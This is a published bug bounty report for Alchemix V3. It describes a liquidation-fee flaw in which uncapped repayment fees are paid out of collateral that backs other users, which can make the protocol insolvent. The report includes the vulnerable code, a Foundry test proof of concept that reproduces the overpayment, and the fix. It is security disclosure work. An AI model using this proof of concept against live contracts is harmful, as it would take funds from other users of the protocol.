Skip to content
Business logic Audit finding Advanced

Liquidator fees could surpass the user remaining collateral resulting in protocol insolvency

The liquidate function pays a fee to the liquidator that is not capped by the user's remaining collateral, so the protocol can pay the excess from funds backing other users. This could make the protocol insolvent and cause loss of user funds.

a16 Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

58138 sc critical liquidator fees could surpass the user remaining collateral resulting in protocol insolvency

Submitted on Oct 30th 2025 at 22:00:22 UTC by @a16 for Audit Comp | Alchemix V3

Description

Brief/Intro

When calling liquidate(), fees paid to the liquidator could surpass the user's remaining collateral, causing the protocol to pay the excess myt "out of pocket", which could cause protocol insolvency.

Vulnerability Details

The underlying issue is these two lines:

        feeInYield = _resolveRepaymentFee(accountId, repaidAmountInYield);
        TokenUtils.safeTransfer(myt, msg.sender, feeInYield);

In the first line, the protocol calls _resolveRepaymentFee() which returns feeInYield that is proportional to repaidAmountInYield and is not capped by account.collateralBalance.

function _resolveRepaymentFee(uint256 accountId, uint256 repaidAmountInYield) internal returns (uint256 fee) {
    Account storage account = _accounts[accountId];
    // calculate repayment fee and deduct from account
    fee = repaidAmountInYield * repaymentFee / BPS;
    account.collateralBalance -= fee > account.collateralBalance ? account.collateralBalance : fee;
    emit RepaymentFee(accountId, repaidAmountInYield, msg.sender, fee);
    return fee;
}

This means that if the remaining user collateral was not enough to back the liquidator fee payment, the difference would be paid from the amount that was supposed to back other users' positions.

Impact Details

If the sum of internal accounting of users' collaterals exceed the actual myt backing, then the AlchemistV3 contract would not be able to fully repay all users, causing protocol insolvency and a loss of user funds.

Proof of Concept

The following function could be added to AlchemistV3.t.sol

function test_Repay_Only_Overpays_If_Fee_Exceeds_Remaining_Collateral() external { // Configure: isolate repay-only, 10% repayment fee address trueAdmin = alchemist.admin(); vm.startPrank(trueAdmin); alchemist.setDepositCap(type(uint256).max); alchemist.setProtocolFee(0); alchemist.setLiquidatorFee(0); alchemist.setRepaymentFee(10_00); // 10% vm.stopPrank();

// Seed MYT
vm.startPrank(someWhale);
IMockYieldToken(mockStrategyYieldToken).mint(whaleSupply, someWhale);
vm.stopPrank();

// Keep system healthy
vm.startPrank(yetAnotherExternalUser);
SafeERC20.safeApprove(address(vault), address(alchemist), depositAmount * 2);
alchemist.deposit(depositAmount, yetAnotherExternalUser, 0);
vm.stopPrank();

// Victim setup
uint256 victimDeposit = 100_000e18;
vm.startPrank(address(0xbeef));
SafeERC20.safeApprove(address(vault), address(alchemist), victimDeposit);
alchemist.deposit(victimDeposit, address(0xbeef), 0);
uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
uint256 mintAmt = (alchemist.totalValue(tokenId) * FIXED_POINT_SCALAR) / minimumCollateralization;
alchemist.mint(tokenId, mintAmt, address(0xbeef));
vm.stopPrank();

// Redemption sized to fully clear debt on maturity (forces repay-only early return)
( , uint256 debt0, ) = alchemist.getCDP(tokenId);
vm.startPrank(anotherExternalUser);
SafeERC20.safeApprove(address(alToken), address(transmuterLogic), debt0);
transmuterLogic.createRedemption(debt0);
vm.stopPrank();

// Mature the earmark
vm.roll(block.number + 5_256_000);

// Small price nudge so we enter liquidate flow under the bound, but repay-only heals it
uint256 s0 = IERC20(address(mockStrategyYieldToken)).totalSupply();
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(s0);
uint256 s1 = (s0 * 11_000) / 10_000; // +10%
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(s1);

// Snapshots
(uint256 colBefore, uint256 debtBefore, ) = alchemist.getCDP(tokenId);
uint256 alchMYT_before   = IERC20(address(vault)).balanceOf(address(alchemist));
uint256 liqMYT_before    = IERC20(address(vault)).balanceOf(externalUser);
uint256 transmMYT_before = IERC20(address(vault)).balanceOf(address(transmuterLogic));

// Call liquidate -> repay-only early return
vm.startPrank(externalUser);
(uint256 repaidInYield, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(tokenId);
vm.stopPrank();

// Post
uint256 alchMYT_after   = IERC20(address(vault)).balanceOf(address(alchemist));
uint256 liqMYT_after    = IERC20(address(vault)).balanceOf(externalUser);
uint256 transmMYT_after = IERC20(address(vault)).balanceOf(address(transmuterLogic));
(uint256 colAfter, uint256 debtAfter, ) = alchemist.getCDP(tokenId);

// Sanity: repay-only branch
vm.assertEq(feeInUnderlying, 0);
vm.assertEq(debtAfter, 0);
vm.assertGt(repaidInYield, 0);

// Core quantities
uint256 remainingAfterPrincipal = colBefore > repaidInYield ? (colBefore - repaidInYield) : 0;
uint256 liqFeeReceived = liqMYT_after - liqMYT_before;
uint256 alchOutflow    = alchMYT_before - alchMYT_after;
uint256 transmuterIn   = transmMYT_after - transmMYT_before;
uint256 userCollDrop   = colBefore > colAfter ? (colBefore - colAfter) : (colAfter - colBefore);

console.log("collateralBefore:", colBefore);
console.log("repaidInYield:", repaidInYield);
console.log("feeInYield (returned):", feeInYield);
console.log("remainingAfterPrincipal:", remainingAfterPrincipal);
console.log("collateralAfter:", colAfter);
console.log("liqFeeReceived:", liqFeeReceived);
console.log("alchOutflow:", alchOutflow);
console.log("transmuterIn:", transmuterIn);
console.log("userCollDrop:", userCollDrop);


vm.assertGt(feeInYield, 0, "expect non-zero repay-only fee returned");
vm.assertGt(feeInYield, remainingAfterPrincipal, "fee must exceed remaining collateral after principal");

// Verify that the caller actually received the returned fee
vm.assertEq(liqFeeReceived, feeInYield, "caller did not receive the returned fee amount");

vm.assertEq(alchOutflow, transmuterIn + feeInYield, "alchemist outflow should equal principal + fee");

// User can only fund principal + remainingAfterPrincipal from their collateral
vm.assertEq(userCollDrop, repaidInYield + remainingAfterPrincipal, "user collateral drop must stop at remainingAfterPrincipal");

// Difference between the amount that was paid as fee and the remaining collateral
uint256 subsidy = feeInYield - remainingAfterPrincipal;
console.log("SUBSIDY_CLAIMED:", subsidy);

// Assert the subsidy exists and is positive
vm.assertGt(subsidy, 0, "no subsidy observed; if this fails, fee is being clamped or skipped");

}

The original report as published on Immunefi, by a16. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The repayment fee is calculated from the repaid amount without being capped by the account's remaining collateral, so the protocol transfers the full fee even when the user's collateral cannot cover it.

Impact

The protocol could become insolvent because its internal accounting for user collateral may exceed the actual MYT backing, leading to loss of user funds.

What the attacker needed

A position eligible for liquidation; repayment fee configured above zero; liquidator calls liquidate

The fix

The fee paid to the liquidator should be capped by the account's remaining collateral, or the excess should not be transferred from protocol funds.

How it was found

  1. Set a repayment fee (e.g. 10%) and seed the system with liquidity.
  2. Create a victim position with collateral and debt, then create a redemption that clears the debt on maturity.
  3. Advance the block number to mature the redemption and nudge the price so the position enters the liquidate flow.
  4. Call liquidate on the victim's position.
  5. Observe that the returned fee exceeds the remaining collateral and the liquidator receives the full fee.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a user's loan is liquidated, the person doing the liquidation gets a fee. The code calculates that fee from the amount repaid, but it does not check whether the user still has enough collateral to cover it. If the fee is larger than the leftover collateral, the protocol pays the difference from money that belongs to other users, which can leave it unable to repay everyone.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by a16

View all

13 more disclosed reports, best first.

More from Alchemix V3

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.